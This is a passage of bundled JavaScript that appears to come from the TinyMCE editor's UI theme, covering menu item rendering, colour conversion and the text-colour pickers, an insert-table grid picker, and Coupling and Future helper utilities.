        shortcutContent: Optional.none(),
        checkMark: Optional.none(),
        caret: Optional.none(),
        value: spec.value
      }, sharedBackstage.providers, renderIcons, spec.icon);
      return renderCommonItem({
        data: buildData(spec),
        enabled: spec.enabled,
        getApi: constant$1({}),
        onAction: _api => onItemValueHandler(spec.value, spec.meta),
        onSetup: constant$1(noop),
        triggersSubmenu: false,
        itemBehaviours: tooltipBehaviour(spec.meta, sharedBackstage)
      }, structure, itemResponse, sharedBackstage.providers);
    };

    const render$2 = (items, extras) => map$2(items, item => {
      switch (item.type) {
      case 'cardcontainer':
        return renderContainer(item, render$2(item.items, extras));
      case 'cardimage':
        return renderImage(item.src, item.classes, item.alt);
      case 'cardtext':
        const shouldHighlight = item.name.exists(name => contains$2(extras.cardText.highlightOn, name));
        const matchText = shouldHighlight ? Optional.from(extras.cardText.matchText).getOr('') : '';
        return renderHtml(replaceText(item.text, matchText), item.classes);
      }
    });
    const renderCardMenuItem = (spec, itemResponse, sharedBackstage, extras) => {
      const getApi = component => ({
        isEnabled: () => !Disabling.isDisabled(component),
        setEnabled: state => {
          Disabling.set(component, !state);
          each$1(descendants(component.element, '*'), elm => {
            component.getSystem().getByDom(elm).each(comp => {
              if (comp.hasConfigured(Disabling)) {
                Disabling.set(comp, !state);
              }
            });
          });
        }
      });
      const structure = {
        dom: renderItemDomStructure(spec.label),
        optComponents: [Optional.some({
            dom: {
              tag: 'div',
              classes: [
                containerClass,
                containerRowClass
              ]
            },
            components: render$2(spec.items, extras)
          })]
      };
      return renderCommonItem({
        data: buildData({
          text: Optional.none(),
          ...spec
        }),
        enabled: spec.enabled,
        getApi,
        onAction: spec.onAction,
        onSetup: spec.onSetup,
        triggersSubmenu: false,
        itemBehaviours: Optional.from(extras.itemBehaviours).getOr([])
      }, structure, itemResponse, sharedBackstage.providers);
    };

    const renderChoiceItem = (spec, useText, presets, onItemValueHandler, isSelected, itemResponse, providersBackstage, renderIcons = true) => {
      const getApi = component => ({
        setActive: state => {
          Toggling.set(component, state);
        },
        isActive: () => Toggling.isOn(component),
        isEnabled: () => !Disabling.isDisabled(component),
        setEnabled: state => Disabling.set(component, !state)
      });
      const structure = renderItemStructure({
        presets,
        textContent: useText ? spec.text : Optional.none(),
        htmlContent: Optional.none(),
        ariaLabel: spec.text,
        iconContent: spec.icon,
        shortcutContent: useText ? spec.shortcut : Optional.none(),
        checkMark: useText ? Optional.some(renderCheckmark(providersBackstage.icons)) : Optional.none(),
        caret: Optional.none(),
        value: spec.value
      }, providersBackstage, renderIcons);
      return deepMerge(renderCommonItem({
        data: buildData(spec),
        enabled: spec.enabled,
        getApi,
        onAction: _api => onItemValueHandler(spec.value),
        onSetup: api => {
          api.setActive(isSelected);
          return noop;
        },
        triggersSubmenu: false,
        itemBehaviours: []
      }, structure, itemResponse, providersBackstage), {
        toggling: {
          toggleClass: tickedClass,
          toggleOnExecute: false,
          selected: spec.active,
          exclusive: true
        }
      });
    };

    const parts$f = generate$3(owner$2(), parts$h());

    const hexColour = value => ({ value });
    const shorthandRegex = /^#?([a-f\d])([a-f\d])([a-f\d])$/i;
    const longformRegex = /^#?([a-f\d]{2})([a-f\d]{2})([a-f\d]{2})$/i;
    const isHexString = hex => shorthandRegex.test(hex) || longformRegex.test(hex);
    const normalizeHex = hex => removeLeading(hex, '#').toUpperCase();
    const fromString$1 = hex => isHexString(hex) ? Optional.some({ value: normalizeHex(hex) }) : Optional.none();
    const getLongForm = hex => {
      const hexString = hex.value.replace(shorthandRegex, (m, r, g, b) => r + r + g + g + b + b);
      return { value: hexString };
    };
    const extractValues = hex => {
      const longForm = getLongForm(hex);
      const splitForm = longformRegex.exec(longForm.value);
      return splitForm === null ? [
        'FFFFFF',
        'FF',
        'FF',
        'FF'
      ] : splitForm;
    };
    const toHex = component => {
      const hex = component.toString(16);
      return (hex.length === 1 ? '0' + hex : hex).toUpperCase();
    };
    const fromRgba = rgbaColour => {
      const value = toHex(rgbaColour.red) + toHex(rgbaColour.green) + toHex(rgbaColour.blue);
      return hexColour(value);
    };

    const min = Math.min;
    const max = Math.max;
    const round$1 = Math.round;
    const rgbRegex = /^\s*rgb\s*\(\s*(\d+)\s*,\s*(\d+)\s*,\s*(\d+)\s*\)\s*$/i;
    const rgbaRegex = /^\s*rgba\s*\(\s*(\d+)\s*,\s*(\d+)\s*,\s*(\d+)\s*,\s*(\d?(?:\.\d+)?)\s*\)\s*$/i;
    const rgbaColour = (red, green, blue, alpha) => ({
      red,
      green,
      blue,
      alpha
    });
    const isRgbaComponent = value => {
      const num = parseInt(value, 10);
      return num.toString() === value && num >= 0 && num <= 255;
    };
    const fromHsv = hsv => {
      let r;
      let g;
      let b;
      const hue = (hsv.hue || 0) % 360;
      let saturation = hsv.saturation / 100;
      let brightness = hsv.value / 100;
      saturation = max(0, min(saturation, 1));
      brightness = max(0, min(brightness, 1));
      if (saturation === 0) {
        r = g = b = round$1(255 * brightness);
        return rgbaColour(r, g, b, 1);
      }
      const side = hue / 60;
      const chroma = brightness * saturation;
      const x = chroma * (1 - Math.abs(side % 2 - 1));
      const match = brightness - chroma;
      switch (Math.floor(side)) {
      case 0:
        r = chroma;
        g = x;
        b = 0;
        break;
      case 1:
        r = x;
        g = chroma;
        b = 0;
        break;
      case 2:
        r = 0;
        g = chroma;
        b = x;
        break;
      case 3:
        r = 0;
        g = x;
        b = chroma;
        break;
      case 4:
        r = x;
        g = 0;
        b = chroma;
        break;
      case 5:
        r = chroma;
        g = 0;
        b = x;
        break;
      default:
        r = g = b = 0;
      }
      r = round$1(255 * (r + match));
      g = round$1(255 * (g + match));
      b = round$1(255 * (b + match));
      return rgbaColour(r, g, b, 1);
    };
    const fromHex = hexColour => {
      const result = extractValues(hexColour);
      const red = parseInt(result[1], 16);
      const green = parseInt(result[2], 16);
      const blue = parseInt(result[3], 16);
      return rgbaColour(red, green, blue, 1);
    };
    const fromStringValues = (red, green, blue, alpha) => {
      const r = parseInt(red, 10);
      const g = parseInt(green, 10);
      const b = parseInt(blue, 10);
      const a = parseFloat(alpha);
      return rgbaColour(r, g, b, a);
    };
    const fromString = rgbaString => {
      if (rgbaString === 'transparent') {
        return Optional.some(rgbaColour(0, 0, 0, 0));
      }
      const rgbMatch = rgbRegex.exec(rgbaString);
      if (rgbMatch !== null) {
        return Optional.some(fromStringValues(rgbMatch[1], rgbMatch[2], rgbMatch[3], '1'));
      }
      const rgbaMatch = rgbaRegex.exec(rgbaString);
      if (rgbaMatch !== null) {
        return Optional.some(fromStringValues(rgbaMatch[1], rgbaMatch[2], rgbaMatch[3], rgbaMatch[4]));
      }
      return Optional.none();
    };
    const toString = rgba => `rgba(${ rgba.red },${ rgba.green },${ rgba.blue },${ rgba.alpha })`;
    const red = rgbaColour(255, 0, 0, 1);

    const fireSkinLoaded$1 = editor => {
      editor.dispatch('SkinLoaded');
    };
    const fireSkinLoadError$1 = (editor, error) => {
      editor.dispatch('SkinLoadError', error);
    };
    const fireResizeEditor = editor => {
      editor.dispatch('ResizeEditor');
    };
    const fireResizeContent = (editor, e) => {
      editor.dispatch('ResizeContent', e);
    };
    const fireScrollContent = (editor, e) => {
      editor.dispatch('ScrollContent', e);
    };
    const fireTextColorChange = (editor, data) => {
      editor.dispatch('TextColorChange', data);
    };
    const fireAfterProgressState = (editor, state) => {
      editor.dispatch('AfterProgressState', { state });
    };
    const fireResolveName = (editor, node) => editor.dispatch('ResolveName', {
      name: node.nodeName.toLowerCase(),
      target: node
    });
    const fireToggleToolbarDrawer = (editor, state) => {
      editor.dispatch('ToggleToolbarDrawer', { state });
    };

    var global$4 = tinymce.util.Tools.resolve('tinymce.util.LocalStorage');

    const cacheStorage = {};
    const ColorCache = (storageId, max = 10) => {
      const storageString = global$4.getItem(storageId);
      const localstorage = isString(storageString) ? JSON.parse(storageString) : [];
      const prune = list => {
        const diff = max - list.length;
        return diff < 0 ? list.slice(0, max) : list;
      };
      const cache = prune(localstorage);
      const add = key => {
        indexOf(cache, key).each(remove);
        cache.unshift(key);
        if (cache.length > max) {
          cache.pop();
        }
        global$4.setItem(storageId, JSON.stringify(cache));
      };
      const remove = idx => {
        cache.splice(idx, 1);
      };
      const state = () => cache.slice(0);
      return {
        add,
        state
      };
    };
    const getCacheForId = id => get$g(cacheStorage, id).getOrThunk(() => {
      const storageId = `tinymce-custom-colors-${ id }`;
      const currentData = global$4.getItem(storageId);
      if (isNullable(currentData)) {
        const legacyDefault = global$4.getItem('tinymce-custom-colors');
        global$4.setItem(storageId, isNonNullable(legacyDefault) ? legacyDefault : '[]');
      }
      const storage = ColorCache(storageId, 10);
      cacheStorage[id] = storage;
      return storage;
    });
    const getCurrentColors = id => map$2(getCacheForId(id).state(), color => ({
      type: 'choiceitem',
      text: color,
      icon: 'checkmark',
      value: color
    }));
    const addColor = (id, color) => {
      getCacheForId(id).add(color);
    };

    const hsvColour = (hue, saturation, value) => ({
      hue,
      saturation,
      value
    });
    const fromRgb = rgbaColour => {
      let h = 0;
      let s = 0;
      let v = 0;
      const r = rgbaColour.red / 255;
      const g = rgbaColour.green / 255;
      const b = rgbaColour.blue / 255;
      const minRGB = Math.min(r, Math.min(g, b));
      const maxRGB = Math.max(r, Math.max(g, b));
      if (minRGB === maxRGB) {
        v = minRGB;
        return hsvColour(0, 0, v * 100);
      }
      const d = r === minRGB ? g - b : b === minRGB ? r - g : b - r;
      h = r === minRGB ? 3 : b === minRGB ? 1 : 5;
      h = 60 * (h - d / (maxRGB - minRGB));
      s = (maxRGB - minRGB) / maxRGB;
      v = maxRGB;
      return hsvColour(Math.round(h), Math.round(s * 100), Math.round(v * 100));
    };

    const hexToHsv = hex => fromRgb(fromHex(hex));
    const hsvToHex = hsv => fromRgba(fromHsv(hsv));
    const anyToHex = color => fromString$1(color).orThunk(() => fromString(color).map(fromRgba)).getOrThunk(() => {
      const canvas = document.createElement('canvas');
      canvas.height = 1;
      canvas.width = 1;
      const canvasContext = canvas.getContext('2d');
      canvasContext.clearRect(0, 0, canvas.width, canvas.height);
      canvasContext.fillStyle = '#FFFFFF';
      canvasContext.fillStyle = color;
      canvasContext.fillRect(0, 0, 1, 1);
      const rgba = canvasContext.getImageData(0, 0, 1, 1).data;
      const r = rgba[0];
      const g = rgba[1];
      const b = rgba[2];
      const a = rgba[3];
      return fromRgba(rgbaColour(r, g, b, a));
    });

    const foregroundId = 'forecolor';
    const backgroundId = 'hilitecolor';
    const calcCols = colors => Math.max(5, Math.ceil(Math.sqrt(colors)));
    const mapColors = colorMap => {
      const colors = [];
      for (let i = 0; i < colorMap.length; i += 2) {
        colors.push({
          text: colorMap[i + 1],
          value: '#' + anyToHex(colorMap[i]).value,
          icon: 'checkmark',
          type: 'choiceitem'
        });
      }
      return colors;
    };
    const option$1 = name => editor => editor.options.get(name);
    const fallbackColor = '#000000';
    const register$d = editor => {
      const registerOption = editor.options.register;
      const colorProcessor = value => {
        if (isArrayOf(value, isString)) {
          return {
            value: mapColors(value),
            valid: true
          };
        } else {
          return {
            valid: false,
            message: 'Must be an array of strings.'
          };
        }
      };
      registerOption('color_map', {
        processor: colorProcessor,
        default: [
          '#BFEDD2',
          'Light Green',
          '#FBEEB8',
          'Light Yellow',
          '#F8CAC6',
          'Light Red',
          '#ECCAFA',
          'Light Purple',
          '#C2E0F4',
          'Light Blue',
          '#2DC26B',
          'Green',
          '#F1C40F',
          'Yellow',
          '#E03E2D',
          'Red',
          '#B96AD9',
          'Purple',
          '#3598DB',
          'Blue',
          '#169179',
          'Dark Turquoise',
          '#E67E23',
          'Orange',
          '#BA372A',
          'Dark Red',
          '#843FA1',
          'Dark Purple',
          '#236FA1',
          'Dark Blue',
          '#ECF0F1',
          'Light Gray',
          '#CED4D9',
          'Medium Gray',
          '#95A5A6',
          'Gray',
          '#7E8C8D',
          'Dark Gray',
          '#34495E',
          'Navy Blue',
          '#000000',
          'Black',
          '#ffffff',
          'White'
        ]
      });
      registerOption('color_map_background', { processor: colorProcessor });
      registerOption('color_map_foreground', { processor: colorProcessor });
      registerOption('color_cols', {
        processor: 'number',
        default: calcCols(getColors$2(editor, 'default').length)
      });
      registerOption('color_cols_foreground', {
        processor: 'number',
        default: calcCols(getColors$2(editor, foregroundId).length)
      });
      registerOption('color_cols_background', {
        processor: 'number',
        default: calcCols(getColors$2(editor, backgroundId).length)
      });
      registerOption('custom_colors', {
        processor: 'boolean',
        default: true
      });
      registerOption('color_default_foreground', {
        processor: 'string',
        default: fallbackColor
      });
      registerOption('color_default_background', {
        processor: 'string',
        default: fallbackColor
      });
    };
    const getColorCols$1 = (editor, id) => {
      if (id === foregroundId) {
        return option$1('color_cols_foreground')(editor);
      } else if (id === backgroundId) {
        return option$1('color_cols_background')(editor);
      } else {
        return option$1('color_cols')(editor);
      }
    };
    const hasCustomColors$1 = option$1('custom_colors');
    const getColors$2 = (editor, id) => {
      if (id === foregroundId && editor.options.isSet('color_map_foreground')) {
        return option$1('color_map_foreground')(editor);
      } else if (id === backgroundId && editor.options.isSet('color_map_background')) {
        return option$1('color_map_background')(editor);
      } else {
        return option$1('color_map')(editor);
      }
    };
    const getDefaultForegroundColor = option$1('color_default_foreground');
    const getDefaultBackgroundColor = option$1('color_default_background');

    const getCurrentColor = (editor, format) => {
      const cssRgbValue = get$e(SugarElement.fromDom(editor.selection.getStart()), format === 'hilitecolor' ? 'background-color' : 'color');
      return fromString(cssRgbValue).map(rgba => '#' + fromRgba(rgba).value);
    };
    const applyFormat = (editor, format, value) => {
      editor.undoManager.transact(() => {
        editor.focus();
        editor.formatter.apply(format, { value });
        editor.nodeChanged();
      });
    };
    const removeFormat = (editor, format) => {
      editor.undoManager.transact(() => {
        editor.focus();
        editor.formatter.remove(format, { value: null }, undefined, true);
        editor.nodeChanged();
      });
    };
    const registerCommands = editor => {
      editor.addCommand('mceApplyTextcolor', (format, value) => {
        applyFormat(editor, format, value);
      });
      editor.addCommand('mceRemoveTextcolor', format => {
        removeFormat(editor, format);
      });
    };
    const getAdditionalColors = hasCustom => {
      const type = 'choiceitem';
      const remove = {
        type,
        text: 'Remove color',
        icon: 'color-swatch-remove-color',
        value: 'remove'
      };
      const custom = {
        type,
        text: 'Custom color',
        icon: 'color-picker',
        value: 'custom'
      };
      return hasCustom ? [
        remove,
        custom
      ] : [remove];
    };
    const applyColor = (editor, format, value, onChoice) => {
      if (value === 'custom') {
        const dialog = colorPickerDialog(editor);
        dialog(colorOpt => {
          colorOpt.each(color => {
            addColor(format, color);
            editor.execCommand('mceApplyTextcolor', format, color);
            onChoice(color);
          });
        }, getCurrentColor(editor, format).getOr(fallbackColor));
      } else if (value === 'remove') {
        onChoice('');
        editor.execCommand('mceRemoveTextcolor', format);
      } else {
        onChoice(value);
        editor.execCommand('mceApplyTextcolor', format, value);
      }
    };
    const getColors$1 = (colors, id, hasCustom) => colors.concat(getCurrentColors(id).concat(getAdditionalColors(hasCustom)));
    const getFetch$1 = (colors, id, hasCustom) => callback => {
      callback(getColors$1(colors, id, hasCustom));
    };
    const setIconColor = (splitButtonApi, name, newColor) => {
      const id = name === 'forecolor' ? 'tox-icon-text-color__color' : 'tox-icon-highlight-bg-color__color';
      splitButtonApi.setIconFill(id, newColor);
    };
    const registerTextColorButton = (editor, name, format, tooltip, lastColor) => {
      editor.ui.registry.addSplitButton(name, {
        tooltip,
        presets: 'color',
        icon: name === 'forecolor' ? 'text-color' : 'highlight-bg-color',
        select: value => {
          const optCurrentHex = getCurrentColor(editor, format);
          return is$1(optCurrentHex, value.toUpperCase());
        },
        columns: getColorCols$1(editor, format),
        fetch: getFetch$1(getColors$2(editor, format), format, hasCustomColors$1(editor)),
        onAction: _splitButtonApi => {
          applyColor(editor, format, lastColor.get(), noop);
        },
        onItemAction: (_splitButtonApi, value) => {
          applyColor(editor, format, value, newColor => {
            lastColor.set(newColor);
            fireTextColorChange(editor, {
              name,
              color: newColor
            });
          });
        },
        onSetup: splitButtonApi => {
          setIconColor(splitButtonApi, name, lastColor.get());
          const handler = e => {
            if (e.name === name) {
              setIconColor(splitButtonApi, e.name, e.color);
            }
          };
          editor.on('TextColorChange', handler);
          return () => {
            editor.off('TextColorChange', handler);
          };
        }
      });
    };
    const registerTextColorMenuItem = (editor, name, format, text) => {
      editor.ui.registry.addNestedMenuItem(name, {
        text,
        icon: name === 'forecolor' ? 'text-color' : 'highlight-bg-color',
        getSubmenuItems: () => [{
            type: 'fancymenuitem',
            fancytype: 'colorswatch',
            initData: { storageKey: format },
            onAction: data => {
              applyColor(editor, format, data.value, noop);
            }
          }]
      });
    };
    const colorPickerDialog = editor => (callback, value) => {
      let isValid = false;
      const onSubmit = api => {
        const data = api.getData();
        const hex = data.colorpicker;
        if (isValid) {
          callback(Optional.from(hex));
          api.close();
        } else {
          editor.windowManager.alert(editor.translate([
            'Invalid hex color code: {0}',
            hex
          ]));
        }
      };
      const onAction = (_api, details) => {
        if (details.name === 'hex-valid') {
          isValid = details.value;
        }
      };
      const initialData = { colorpicker: value };
      editor.windowManager.open({
        title: 'Color Picker',
        size: 'normal',
        body: {
          type: 'panel',
          items: [{
              type: 'colorpicker',
              name: 'colorpicker',
              label: 'Color'
            }]
        },
        buttons: [
          {
            type: 'cancel',
            name: 'cancel',
            text: 'Cancel'
          },
          {
            type: 'submit',
            name: 'save',
            text: 'Save',
            primary: true
          }
        ],
        initialData,
        onAction,
        onSubmit,
        onClose: noop,
        onCancel: () => {
          callback(Optional.none());
        }
      });
    };
    const register$c = editor => {
      registerCommands(editor);
      const fallbackColorForeground = getDefaultForegroundColor(editor);
      const fallbackColorBackground = getDefaultBackgroundColor(editor);
      const lastForeColor = Cell(fallbackColorForeground);
      const lastBackColor = Cell(fallbackColorBackground);
      registerTextColorButton(editor, 'forecolor', 'forecolor', 'Text color', lastForeColor);
      registerTextColorButton(editor, 'backcolor', 'hilitecolor', 'Background color', lastBackColor);
      registerTextColorMenuItem(editor, 'forecolor', 'forecolor', 'Text color');
      registerTextColorMenuItem(editor, 'backcolor', 'hilitecolor', 'Background color');
    };

    const createPartialChoiceMenu = (value, items, onItemValueHandler, columns, presets, itemResponse, select, providersBackstage) => {
      const hasIcons = menuHasIcons(items);
      const presetItemTypes = presets !== 'color' ? 'normal' : 'color';
      const alloyItems = createChoiceItems(items, onItemValueHandler, columns, presetItemTypes, itemResponse, select, providersBackstage);
      const menuLayout = { menuType: presets };
      return createPartialMenuWithAlloyItems(value, hasIcons, alloyItems, columns, menuLayout);
    };
    const createChoiceItems = (items, onItemValueHandler, columns, itemPresets, itemResponse, select, providersBackstage) => cat(map$2(items, item => {
      if (item.type === 'choiceitem') {
        return createChoiceMenuItem(item).fold(handleError, d => Optional.some(renderChoiceItem(d, columns === 1, itemPresets, onItemValueHandler, select(d.value), itemResponse, providersBackstage, menuHasIcons(items))));
      } else {
        return Optional.none();
      }
    }));

    const deriveMenuMovement = (columns, presets) => {
      const menuMarkers = markers(presets);
      if (columns === 1) {
        return {
          mode: 'menu',
          moveOnTab: true
        };
      } else if (columns === 'auto') {
        return {
          mode: 'grid',
          selector: '.' + menuMarkers.item,
          initSize: {
            numColumns: 1,
            numRows: 1
          }
        };
      } else {
        const rowClass = presets === 'color' ? 'tox-swatches__row' : 'tox-collection__group';
        return {
          mode: 'matrix',
          rowSelector: '.' + rowClass,
          previousSelector: menu => {
            return presets === 'color' ? descendant(menu.element, '[aria-checked=true]') : Optional.none();
          }
        };
      }
    };
    const deriveCollectionMovement = (columns, presets) => {
      if (columns === 1) {
        return {
          mode: 'menu',
          moveOnTab: false,
          selector: '.tox-collection__item'
        };
      } else if (columns === 'auto') {
        return {
          mode: 'flatgrid',
          selector: '.' + 'tox-collection__item',
          initSize: {
            numColumns: 1,
            numRows: 1
          }
        };
      } else {
        return {
          mode: 'matrix',
          selectors: {
            row: presets === 'color' ? '.tox-swatches__row' : '.tox-collection__group',
            cell: presets === 'color' ? `.${ colorClass }` : `.${ selectableClass }`
          }
        };
      }
    };

    const renderColorSwatchItem = (spec, backstage) => {
      const items = getColorItems(spec, backstage);
      const columns = backstage.colorinput.getColorCols(spec.initData.storageKey);
      const presets = 'color';
      const menuSpec = createPartialChoiceMenu(generate$6('menu-value'), items, value => {
        spec.onAction({ value });
      }, columns, presets, ItemResponse$1.CLOSE_ON_EXECUTE, never, backstage.shared.providers);
      const widgetSpec = {
        ...menuSpec,
        markers: markers(presets),
        movement: deriveMenuMovement(columns, presets)
      };
      return {
        type: 'widget',
        data: { value: generate$6('widget-id') },
        dom: {
          tag: 'div',
          classes: ['tox-fancymenuitem']
        },
        autofocus: true,
        components: [parts$f.widget(Menu.sketch(widgetSpec))]
      };
    };
    const getColorItems = (spec, backstage) => {
      const useCustomColors = spec.initData.allowCustomColors && backstage.colorinput.hasCustomColors();
      return spec.initData.colors.fold(() => getColors$1(backstage.colorinput.getColors(spec.initData.storageKey), spec.initData.storageKey, useCustomColors), colors => colors.concat(getAdditionalColors(useCustomColors)));
    };

    const cellOverEvent = generate$6('cell-over');
    const cellExecuteEvent = generate$6('cell-execute');
    const makeCell = (row, col, labelId) => {
      const emitCellOver = c => emitWith(c, cellOverEvent, {
        row,
        col
      });
      const emitExecute = c => emitWith(c, cellExecuteEvent, {
        row,
        col
      });
      const onClick = (c, se) => {
        se.stop();
        emitExecute(c);
      };
      return build$1({
        dom: {
          tag: 'div',
          attributes: {
            role: 'button',
            ['aria-labelledby']: labelId
          }
        },
        behaviours: derive$1([
          config('insert-table-picker-cell', [
            run$1(mouseover(), Focusing.focus),
            run$1(execute$5(), emitExecute),
            run$1(click(), onClick),
            run$1(tap(), onClick)
          ]),
          Toggling.config({
            toggleClass: 'tox-insert-table-picker__selected',
            toggleOnExecute: false
          }),
          Focusing.config({ onFocus: emitCellOver })
        ])
      });
    };
    const makeCells = (labelId, numRows, numCols) => {
      const cells = [];
      for (let i = 0; i < numRows; i++) {
        const row = [];
        for (let j = 0; j < numCols; j++) {
          row.push(makeCell(i, j, labelId));
        }
        cells.push(row);
      }
      return cells;
    };
    const selectCells = (cells, selectedRow, selectedColumn, numRows, numColumns) => {
      for (let i = 0; i < numRows; i++) {
        for (let j = 0; j < numColumns; j++) {
          Toggling.set(cells[i][j], i <= selectedRow && j <= selectedColumn);
        }
      }
    };
    const makeComponents = cells => bind$3(cells, cellRow => map$2(cellRow, premade));
    const makeLabelText = (row, col) => text$2(`${ col }x${ row }`);
    const renderInsertTableMenuItem = spec => {
      const numRows = 10;
      const numColumns = 10;
      const sizeLabelId = generate$6('size-label');
      const cells = makeCells(sizeLabelId, numRows, numColumns);
      const emptyLabelText = makeLabelText(0, 0);
      const memLabel = record({
        dom: {
          tag: 'span',
          classes: ['tox-insert-table-picker__label'],
          attributes: { id: sizeLabelId }
        },
        components: [emptyLabelText],
        behaviours: derive$1([Replacing.config({})])
      });
      return {
        type: 'widget',
        data: { value: generate$6('widget-id') },
        dom: {
          tag: 'div',
          classes: ['tox-fancymenuitem']
        },
        autofocus: true,
        components: [parts$f.widget({
            dom: {
              tag: 'div',
              classes: ['tox-insert-table-picker']
            },
            components: makeComponents(cells).concat(memLabel.asSpec()),
            behaviours: derive$1([
              config('insert-table-picker', [
                runOnAttached(c => {
                  Replacing.set(memLabel.get(c), [emptyLabelText]);
                }),
                runWithTarget(cellOverEvent, (c, t, e) => {
                  const {row, col} = e.event;
                  selectCells(cells, row, col, numRows, numColumns);
                  Replacing.set(memLabel.get(c), [makeLabelText(row + 1, col + 1)]);
                }),
                runWithTarget(cellExecuteEvent, (c, _, e) => {
                  const {row, col} = e.event;
                  spec.onAction({
                    numRows: row + 1,
                    numColumns: col + 1
                  });
                  emit(c, sandboxClose());
                })
              ]),
              Keying.config({
                initSize: {
                  numRows,
                  numColumns
                },
                mode: 'flatgrid',
                selector: '[role="button"]'
              })
            ])
          })]
      };
    };

    const fancyMenuItems = {
      inserttable: renderInsertTableMenuItem,
      colorswatch: renderColorSwatchItem
    };
    const renderFancyMenuItem = (spec, backstage) => get$g(fancyMenuItems, spec.fancytype).map(render => render(spec, backstage));

    const renderNestedItem = (spec, itemResponse, providersBackstage, renderIcons = true, downwardsCaret = false) => {
      const caret = downwardsCaret ? renderDownwardsCaret(providersBackstage.icons) : renderSubmenuCaret(providersBackstage.icons);
      const getApi = component => ({
        isEnabled: () => !Disabling.isDisabled(component),
        setEnabled: state => Disabling.set(component, !state)
      });
      const structure = renderItemStructure({
        presets: 'normal',
        iconContent: spec.icon,
        textContent: spec.text,
        htmlContent: Optional.none(),
        ariaLabel: spec.text,
        caret: Optional.some(caret),
        checkMark: Optional.none(),
        shortcutContent: spec.shortcut
      }, providersBackstage, renderIcons);
      return renderCommonItem({
        data: buildData(spec),
        getApi,
        enabled: spec.enabled,
        onAction: noop,
        onSetup: spec.onSetup,
        triggersSubmenu: true,
        itemBehaviours: []
      }, structure, itemResponse, providersBackstage);
    };

    const renderNormalItem = (spec, itemResponse, providersBackstage, renderIcons = true) => {
      const getApi = component => ({
        isEnabled: () => !Disabling.isDisabled(component),
        setEnabled: state => Disabling.set(component, !state)
      });
      const structure = renderItemStructure({
        presets: 'normal',
        iconContent: spec.icon,
        textContent: spec.text,
        htmlContent: Optional.none(),
        ariaLabel: spec.text,
        caret: Optional.none(),
        checkMark: Optional.none(),
        shortcutContent: spec.shortcut
      }, providersBackstage, renderIcons);
      return renderCommonItem({
        data: buildData(spec),
        getApi,
        enabled: spec.enabled,
        onAction: spec.onAction,
        onSetup: spec.onSetup,
        triggersSubmenu: false,
        itemBehaviours: []
      }, structure, itemResponse, providersBackstage);
    };

    const renderSeparatorItem = spec => ({
      type: 'separator',
      dom: {
        tag: 'div',
        classes: [
          selectableClass,
          groupHeadingClass
        ]
      },
      components: spec.text.map(text$2).toArray()
    });

    const renderToggleMenuItem = (spec, itemResponse, providersBackstage, renderIcons = true) => {
      const getApi = component => ({
        setActive: state => {
          Toggling.set(component, state);
        },
        isActive: () => Toggling.isOn(component),
        isEnabled: () => !Disabling.isDisabled(component),
        setEnabled: state => Disabling.set(component, !state)
      });
      const structure = renderItemStructure({
        iconContent: spec.icon,
        textContent: spec.text,
        htmlContent: Optional.none(),
        ariaLabel: spec.text,
        checkMark: Optional.some(renderCheckmark(providersBackstage.icons)),
        caret: Optional.none(),
        shortcutContent: spec.shortcut,
        presets: 'normal',
        meta: spec.meta
      }, providersBackstage, renderIcons);
      return deepMerge(renderCommonItem({
        data: buildData(spec),
        enabled: spec.enabled,
        getApi,
        onAction: spec.onAction,
        onSetup: spec.onSetup,
        triggersSubmenu: false,
        itemBehaviours: []
      }, structure, itemResponse, providersBackstage), {
        toggling: {
          toggleClass: tickedClass,
          toggleOnExecute: false,
          selected: spec.active
        }
      });
    };

    const autocomplete = renderAutocompleteItem;
    const separator$3 = renderSeparatorItem;
    const normal = renderNormalItem;
    const nested = renderNestedItem;
    const toggle$1 = renderToggleMenuItem;
    const fancy = renderFancyMenuItem;
    const card = renderCardMenuItem;

    const getCoupled = (component, coupleConfig, coupleState, name) => coupleState.getOrCreate(component, coupleConfig, name);
    const getExistingCoupled = (component, coupleConfig, coupleState, name) => coupleState.getExisting(component, coupleConfig, name);

    var CouplingApis = /*#__PURE__*/Object.freeze({
        __proto__: null,
        getCoupled: getCoupled,
        getExistingCoupled: getExistingCoupled
    });

    var CouplingSchema = [requiredOf('others', setOf(Result.value, anyValue()))];

    const init$a = () => {
      const coupled = {};
      const lookupCoupled = (coupleConfig, coupledName) => {
        const available = keys(coupleConfig.others);
        if (available.length === 0) {
          throw new Error('Cannot find any known coupled components');
        } else {
          return get$g(coupled, coupledName);
        }
      };
      const getOrCreate = (component, coupleConfig, name) => {
        return lookupCoupled(coupleConfig, name).getOrThunk(() => {
          const builder = get$g(coupleConfig.others, name).getOrDie('No information found for coupled component: ' + name);
          const spec = builder(component);
          const built = component.getSystem().build(spec);
          coupled[name] = built;
          return built;
        });
      };
      const getExisting = (component, coupleConfig, name) => {
        return lookupCoupled(coupleConfig, name).orThunk(() => {
          get$g(coupleConfig.others, name).getOrDie('No information found for coupled component: ' + name);
          return Optional.none();
        });
      };
      const readState = constant$1({});
      return nu$8({
        readState,
        getExisting,
        getOrCreate
      });
    };

    var CouplingState = /*#__PURE__*/Object.freeze({
        __proto__: null,
        init: init$a
    });

    const Coupling = create$4({
      fields: CouplingSchema,
      name: 'coupling',
      apis: CouplingApis,
      state: CouplingState
    });

    const nu$3 = baseFn => {
      let data = Optional.none();
      let callbacks = [];
      const map = f => nu$3(nCallback => {
        get(data => {
          nCallback(f(data));
        });
      });
      const get = nCallback => {
        if (isReady()) {
          call(nCallback);
        } else {
          callbacks.push(nCallback);
        }
      };
      const set = x => {
        if (!isReady()) {
          data = Optional.some(x);
          run(callbacks);
          callbacks = [];
        }
      };
      const isReady = () => data.isSome();
      const run = cbs => {
        each$1(cbs, call);
      };
      const call = cb => {
        data.each(x => {
          setTimeout(() => {
            cb(x);
          }, 0);
        });
      };
      baseFn(set);
      return {
        get,
        map,
        isReady
      };
    };
    const pure$1 = a => nu$3(callback => {
      callback(a);
    });
    const LazyValue = {
      nu: nu$3,
      pure: pure$1
    };

    const errorReporter = err => {
      setTimeout(() => {
        throw err;
      }, 0);
    };
    const make$5 = run => {
      const get = callback => {
        run().then(callback, errorReporter);
      };
      const map = fab => {
        return make$5(() => run().then(fab));
      };
      const bind = aFutureB => {
        return make$5(() => run().then(v => aFutureB(v).toPromise()));
      };
      const anonBind = futureB => {
        return make$5(() => run().then(() => futureB.toPromise()));
      };
      const toLazy = () => {
        return LazyValue.nu(get);
      };
      const toCached = () => {
        let cache = null;
        return make$5(() => {
          if (cache === null) {
            cache = run();
          }
          return cache;
        });
      };
      const toPromise = run;
      return {
        map,
        bind,
        anonBind,
        toLazy,
